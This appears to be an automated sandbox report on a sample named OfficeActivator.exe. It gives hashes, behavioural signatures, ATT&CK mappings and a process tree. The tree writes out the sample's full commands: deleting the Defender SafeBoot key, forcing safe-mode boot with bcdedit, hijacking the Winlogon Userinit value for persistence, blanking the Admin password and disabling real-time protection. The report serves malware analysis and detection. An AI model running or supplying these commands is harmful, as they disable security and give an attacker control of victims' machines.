Analysis
-
max time kernel
5s -
max time network
9s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
08-11-2024 17:28
Behavioral task
behavioral1
Sample
OfficeActivator.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
OfficeActivator.exe
Resource
win10v2004-20241007-en
Errors
General
-
Target
OfficeActivator.exe
-
Size
87KB
-
MD5
1b4e57be75e855e54e84f55874782d4b
-
SHA1
f5f17bae63faad537233bb38647940bda7340b2c
-
SHA256
8441f92e8460a7b2ed37ee96affe547a65589b2e8e980a18a6b08b786b48465d
-
SHA512
076245019b439583d4a45e46e6c836a2724270aba0a6e1b04e20c4157bdb32533045ee118c22a013e6f7127f1d34eb8b82738156dd152dae7c4ef9da1cf39da9
-
SSDEEP
1536:LcW4lAJGGnzjoih/NDh/NDuk+XkGAK/hztXcag+PlbBfkWIyvZrw281r5XsmCZEq:4WNGszjoih/NDh/NDuk+XkGAK/hztXcE
Malware Config
Signatures
-
Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
Processes:
resource yara_rule behavioral1/memory/2676-1-0x0000000000070000-0x000000000008A000-memory.dmp disable_win_def -
Modifies WinLogon for persistence 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Users\\Admin\\AppData\\Local\\Temp\\OfficeActivator.exe,C:\\Windows\\system32\\userinit.exe" reg.exe -
Processes:
OfficeActivator.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection OfficeActivator.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" OfficeActivator.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" OfficeActivator.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" OfficeActivator.exe -
Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs
-
Impair Defenses: Safe Mode Boot 1 TTPs 1 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WinDefend reg.exe -
Processes:
OfficeActivator.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features OfficeActivator.exe -
Modifies registry key 1 TTPs 1 IoCs
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
OfficeActivator.exepid process 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe 2676 OfficeActivator.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
OfficeActivator.exeshutdown.exedescription pid process Token: SeDebugPrivilege 2676 OfficeActivator.exe Token: SeShutdownPrivilege 2112 shutdown.exe Token: SeRemoteShutdownPrivilege 2112 shutdown.exe -
Suspicious use of WriteProcessMemory 21 IoCs
Processes:
OfficeActivator.exenet.exedescription pid process target process PID 2676 wrote to memory of 2732 2676 OfficeActivator.exe reg.exe PID 2676 wrote to memory of 2732 2676 OfficeActivator.exe reg.exe PID 2676 wrote to memory of 2732 2676 OfficeActivator.exe reg.exe PID 2676 wrote to memory of 2792 2676 OfficeActivator.exe bcdedit.exe PID 2676 wrote to memory of 2792 2676 OfficeActivator.exe bcdedit.exe PID 2676 wrote to memory of 2792 2676 OfficeActivator.exe bcdedit.exe PID 2676 wrote to memory of 2784 2676 OfficeActivator.exe reg.exe PID 2676 wrote to memory of 2784 2676 OfficeActivator.exe reg.exe PID 2676 wrote to memory of 2784 2676 OfficeActivator.exe reg.exe PID 2676 wrote to memory of 2708 2676 OfficeActivator.exe net.exe PID 2676 wrote to memory of 2708 2676 OfficeActivator.exe net.exe PID 2676 wrote to memory of 2708 2676 OfficeActivator.exe net.exe PID 2676 wrote to memory of 2112 2676 OfficeActivator.exe shutdown.exe PID 2676 wrote to memory of 2112 2676 OfficeActivator.exe shutdown.exe PID 2676 wrote to memory of 2112 2676 OfficeActivator.exe shutdown.exe PID 2708 wrote to memory of 2380 2708 net.exe net1.exe PID 2708 wrote to memory of 2380 2708 net.exe net1.exe PID 2708 wrote to memory of 2380 2708 net.exe net1.exe PID 2676 wrote to memory of 2584 2676 OfficeActivator.exe powershell.exe PID 2676 wrote to memory of 2584 2676 OfficeActivator.exe powershell.exe PID 2676 wrote to memory of 2584 2676 OfficeActivator.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\OfficeActivator.exe"C:\Users\Admin\AppData\Local\Temp\OfficeActivator.exe"1⤵
- Modifies Windows Defender Real-time Protection settings
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2676 -
C:\Windows\system32\reg.exe"reg.exe" delete HKLM\System\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend /f2⤵
- Impair Defenses: Safe Mode Boot
- Modifies registry key
PID:2732 -
C:\Windows\system32\bcdedit.exe"bcdedit.exe" /set {default} safeboot network2⤵
- Modifies boot configuration data using bcdedit
PID:2792 -
C:\Windows\system32\reg.exe"reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\OfficeActivator.exe","C:\Windows\system32\userinit.exe" /f2⤵
- Modifies WinLogon for persistence
PID:2784 -
C:\Windows\system32\net.exe"net.exe" user Admin ""2⤵
- Suspicious use of WriteProcessMemory
PID:2708 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user Admin ""3⤵PID:2380
-
C:\Windows\system32\shutdown.exe"shutdown.exe" /r /t 02⤵
- Suspicious use of AdjustPrivilegeToken
PID:2112 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose2⤵PID:2584
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x01⤵PID:2920
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x11⤵PID:2456
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
1Windows Service
1Privilege Escalation
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
1Windows Service
1